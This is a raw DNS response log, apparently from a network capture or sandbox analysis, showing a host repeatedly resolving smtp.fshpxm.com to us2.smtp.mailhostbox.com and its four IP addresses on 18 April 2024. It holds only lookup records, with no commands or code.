Apr 18, 2024 10:24:10.362170935 CEST	8.8.8.8	192.168.2.22	0x5051	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:10.407037020 CEST	8.8.8.8	192.168.2.22	0xe35a	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:24:10.407037020 CEST	8.8.8.8	192.168.2.22	0xe35a	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:10.407037020 CEST	8.8.8.8	192.168.2.22	0xe35a	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:10.407037020 CEST	8.8.8.8	192.168.2.22	0xe35a	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:10.407037020 CEST	8.8.8.8	192.168.2.22	0xe35a	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:10.468060970 CEST	8.8.8.8	192.168.2.22	0x5051	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:24:10.468060970 CEST	8.8.8.8	192.168.2.22	0x5051	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:10.468060970 CEST	8.8.8.8	192.168.2.22	0x5051	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:10.468060970 CEST	8.8.8.8	192.168.2.22	0x5051	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:10.468060970 CEST	8.8.8.8	192.168.2.22	0x5051	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:10.513268948 CEST	8.8.8.8	192.168.2.22	0xe35a	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:24:10.513268948 CEST	8.8.8.8	192.168.2.22	0xe35a	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:10.513268948 CEST	8.8.8.8	192.168.2.22	0xe35a	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:10.513268948 CEST	8.8.8.8	192.168.2.22	0xe35a	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:10.513268948 CEST	8.8.8.8	192.168.2.22	0xe35a	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:10.575653076 CEST	8.8.8.8	192.168.2.22	0x5051	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:24:10.575653076 CEST	8.8.8.8	192.168.2.22	0x5051	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:10.575653076 CEST	8.8.8.8	192.168.2.22	0x5051	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:10.575653076 CEST	8.8.8.8	192.168.2.22	0x5051	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:10.575653076 CEST	8.8.8.8	192.168.2.22	0x5051	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:10.642803907 CEST	8.8.8.8	192.168.2.22	0xe35a	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:24:10.642803907 CEST	8.8.8.8	192.168.2.22	0xe35a	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:10.642803907 CEST	8.8.8.8	192.168.2.22	0xe35a	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:10.642803907 CEST	8.8.8.8	192.168.2.22	0xe35a	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:10.642803907 CEST	8.8.8.8	192.168.2.22	0xe35a	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:11.223377943 CEST	8.8.8.8	192.168.2.22	0x3569	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:24:11.223377943 CEST	8.8.8.8	192.168.2.22	0x3569	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:11.223377943 CEST	8.8.8.8	192.168.2.22	0x3569	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:11.223377943 CEST	8.8.8.8	192.168.2.22	0x3569	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:11.223377943 CEST	8.8.8.8	192.168.2.22	0x3569	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:11.328705072 CEST	8.8.8.8	192.168.2.22	0x3569	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:24:11.328705072 CEST	8.8.8.8	192.168.2.22	0x3569	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:11.328705072 CEST	8.8.8.8	192.168.2.22	0x3569	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:11.328705072 CEST	8.8.8.8	192.168.2.22	0x3569	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:11.328705072 CEST	8.8.8.8	192.168.2.22	0x3569	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:11.434159040 CEST	8.8.8.8	192.168.2.22	0x3569	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:24:11.434159040 CEST	8.8.8.8	192.168.2.22	0x3569	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:11.434159040 CEST	8.8.8.8	192.168.2.22	0x3569	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:11.434159040 CEST	8.8.8.8	192.168.2.22	0x3569	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:11.434159040 CEST	8.8.8.8	192.168.2.22	0x3569	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:11.539330959 CEST	8.8.8.8	192.168.2.22	0x3569	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:24:11.539330959 CEST	8.8.8.8	192.168.2.22	0x3569	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:11.539330959 CEST	8.8.8.8	192.168.2.22	0x3569	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:11.539330959 CEST	8.8.8.8	192.168.2.22	0x3569	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:11.539330959 CEST	8.8.8.8	192.168.2.22	0x3569	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:11.839651108 CEST	8.8.8.8	192.168.2.22	0xe23a	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:24:11.839651108 CEST	8.8.8.8	192.168.2.22	0xe23a	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:11.839651108 CEST	8.8.8.8	192.168.2.22	0xe23a	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:11.839651108 CEST	8.8.8.8	192.168.2.22	0xe23a	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:11.839651108 CEST	8.8.8.8	192.168.2.22	0xe23a	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:11.944811106 CEST	8.8.8.8	192.168.2.22	0xe23a	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:24:11.944811106 CEST	8.8.8.8	192.168.2.22	0xe23a	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:11.944811106 CEST	8.8.8.8	192.168.2.22	0xe23a	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:11.944811106 CEST	8.8.8.8	192.168.2.22	0xe23a	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:11.944811106 CEST	8.8.8.8	192.168.2.22	0xe23a	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:13.000364065 CEST	8.8.8.8	192.168.2.22	0xb656	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:24:13.000364065 CEST	8.8.8.8	192.168.2.22	0xb656	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:13.000364065 CEST	8.8.8.8	192.168.2.22	0xb656	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:13.000364065 CEST	8.8.8.8	192.168.2.22	0xb656	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:13.000364065 CEST	8.8.8.8	192.168.2.22	0xb656	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:13.105609894 CEST	8.8.8.8	192.168.2.22	0xb656	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:24:13.105609894 CEST	8.8.8.8	192.168.2.22	0xb656	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:13.105609894 CEST	8.8.8.8	192.168.2.22	0xb656	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:13.105609894 CEST	8.8.8.8	192.168.2.22	0xb656	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:13.105609894 CEST	8.8.8.8	192.168.2.22	0xb656	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:13.210928917 CEST	8.8.8.8	192.168.2.22	0xb656	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:24:13.210928917 CEST	8.8.8.8	192.168.2.22	0xb656	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:13.210928917 CEST	8.8.8.8	192.168.2.22	0xb656	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:13.210928917 CEST	8.8.8.8	192.168.2.22	0xb656	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:13.210928917 CEST	8.8.8.8	192.168.2.22	0xb656	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:13.317935944 CEST	8.8.8.8	192.168.2.22	0xb656	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:24:13.317935944 CEST	8.8.8.8	192.168.2.22	0xb656	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:13.317935944 CEST	8.8.8.8	192.168.2.22	0xb656	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:13.317935944 CEST	8.8.8.8	192.168.2.22	0xb656	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:13.317935944 CEST	8.8.8.8	192.168.2.22	0xb656	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:13.433374882 CEST	8.8.8.8	192.168.2.22	0x428f	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:24:13.433374882 CEST	8.8.8.8	192.168.2.22	0x428f	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:13.433374882 CEST	8.8.8.8	192.168.2.22	0x428f	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:13.433374882 CEST	8.8.8.8	192.168.2.22	0x428f	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:13.433374882 CEST	8.8.8.8	192.168.2.22	0x428f	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:13.538892984 CEST	8.8.8.8	192.168.2.22	0x428f	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:24:13.538892984 CEST	8.8.8.8	192.168.2.22	0x428f	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:13.538892984 CEST	8.8.8.8	192.168.2.22	0x428f	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:13.538892984 CEST	8.8.8.8	192.168.2.22	0x428f	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:13.538892984 CEST	8.8.8.8	192.168.2.22	0x428f	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:33.291060925 CEST	8.8.8.8	192.168.2.22	0x47b9	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:24:33.291060925 CEST	8.8.8.8	192.168.2.22	0x47b9	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:33.291060925 CEST	8.8.8.8	192.168.2.22	0x47b9	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:33.291060925 CEST	8.8.8.8	192.168.2.22	0x47b9	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:33.291060925 CEST	8.8.8.8	192.168.2.22	0x47b9	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:33.397862911 CEST	8.8.8.8	192.168.2.22	0x47b9	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:24:33.397862911 CEST	8.8.8.8	192.168.2.22	0x47b9	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:33.397862911 CEST	8.8.8.8	192.168.2.22	0x47b9	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:33.397862911 CEST	8.8.8.8	192.168.2.22	0x47b9	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:33.397862911 CEST	8.8.8.8	192.168.2.22	0x47b9	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:33.502810001 CEST	8.8.8.8	192.168.2.22	0x47b9	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:24:33.502810001 CEST	8.8.8.8	192.168.2.22	0x47b9	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:33.502810001 CEST	8.8.8.8	192.168.2.22	0x47b9	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:33.502810001 CEST	8.8.8.8	192.168.2.22	0x47b9	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:33.502810001 CEST	8.8.8.8	192.168.2.22	0x47b9	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:33.613821983 CEST	8.8.8.8	192.168.2.22	0x3ef7	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:24:33.613821983 CEST	8.8.8.8	192.168.2.22	0x3ef7	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:33.613821983 CEST	8.8.8.8	192.168.2.22	0x3ef7	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:33.613821983 CEST	8.8.8.8	192.168.2.22	0x3ef7	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:33.613821983 CEST	8.8.8.8	192.168.2.22	0x3ef7	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:33.718859911 CEST	8.8.8.8	192.168.2.22	0x3ef7	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:24:33.718859911 CEST	8.8.8.8	192.168.2.22	0x3ef7	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:33.718859911 CEST	8.8.8.8	192.168.2.22	0x3ef7	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:33.718859911 CEST	8.8.8.8	192.168.2.22	0x3ef7	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:33.718859911 CEST	8.8.8.8	192.168.2.22	0x3ef7	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:33.823872089 CEST	8.8.8.8	192.168.2.22	0x3ef7	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:24:33.823872089 CEST	8.8.8.8	192.168.2.22	0x3ef7	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:33.823872089 CEST	8.8.8.8	192.168.2.22	0x3ef7	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:33.823872089 CEST	8.8.8.8	192.168.2.22	0x3ef7	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:33.823872089 CEST	8.8.8.8	192.168.2.22	0x3ef7	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:33.928817987 CEST	8.8.8.8	192.168.2.22	0x3ef7	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:24:33.928817987 CEST	8.8.8.8	192.168.2.22	0x3ef7	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:33.928817987 CEST	8.8.8.8	192.168.2.22	0x3ef7	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:33.928817987 CEST	8.8.8.8	192.168.2.22	0x3ef7	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:33.928817987 CEST	8.8.8.8	192.168.2.22	0x3ef7	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:34.033823967 CEST	8.8.8.8	192.168.2.22	0x3ef7	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:24:34.033823967 CEST	8.8.8.8	192.168.2.22	0x3ef7	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:34.033823967 CEST	8.8.8.8	192.168.2.22	0x3ef7	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:34.033823967 CEST	8.8.8.8	192.168.2.22	0x3ef7	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:34.033823967 CEST	8.8.8.8	192.168.2.22	0x3ef7	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:36.295732975 CEST	8.8.8.8	192.168.2.22	0x5803	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:24:36.295732975 CEST	8.8.8.8	192.168.2.22	0x5803	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:36.295732975 CEST	8.8.8.8	192.168.2.22	0x5803	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:36.295732975 CEST	8.8.8.8	192.168.2.22	0x5803	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:36.295732975 CEST	8.8.8.8	192.168.2.22	0x5803	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:36.400875092 CEST	8.8.8.8	192.168.2.22	0x5803	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:24:36.400875092 CEST	8.8.8.8	192.168.2.22	0x5803	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:36.400875092 CEST	8.8.8.8	192.168.2.22	0x5803	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:36.400875092 CEST	8.8.8.8	192.168.2.22	0x5803	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:36.400875092 CEST	8.8.8.8	192.168.2.22	0x5803	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:36.521560907 CEST	8.8.8.8	192.168.2.22	0x53df	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:24:36.521560907 CEST	8.8.8.8	192.168.2.22	0x53df	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:36.521560907 CEST	8.8.8.8	192.168.2.22	0x53df	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:36.521560907 CEST	8.8.8.8	192.168.2.22	0x53df	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:36.521560907 CEST	8.8.8.8	192.168.2.22	0x53df	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:40.374821901 CEST	8.8.8.8	192.168.2.22	0x9f09	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:24:40.374821901 CEST	8.8.8.8	192.168.2.22	0x9f09	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:40.374821901 CEST	8.8.8.8	192.168.2.22	0x9f09	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:40.374821901 CEST	8.8.8.8	192.168.2.22	0x9f09	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:40.374821901 CEST	8.8.8.8	192.168.2.22	0x9f09	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:40.480005980 CEST	8.8.8.8	192.168.2.22	0x9f09	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:24:40.480005980 CEST	8.8.8.8	192.168.2.22	0x9f09	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:40.480005980 CEST	8.8.8.8	192.168.2.22	0x9f09	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:40.480005980 CEST	8.8.8.8	192.168.2.22	0x9f09	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:40.480005980 CEST	8.8.8.8	192.168.2.22	0x9f09	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:40.585784912 CEST	8.8.8.8	192.168.2.22	0x9f09	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:24:40.585784912 CEST	8.8.8.8	192.168.2.22	0x9f09	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:40.585784912 CEST	8.8.8.8	192.168.2.22	0x9f09	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:40.585784912 CEST	8.8.8.8	192.168.2.22	0x9f09	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:40.585784912 CEST	8.8.8.8	192.168.2.22	0x9f09	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:40.690351009 CEST	8.8.8.8	192.168.2.22	0x9f09	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
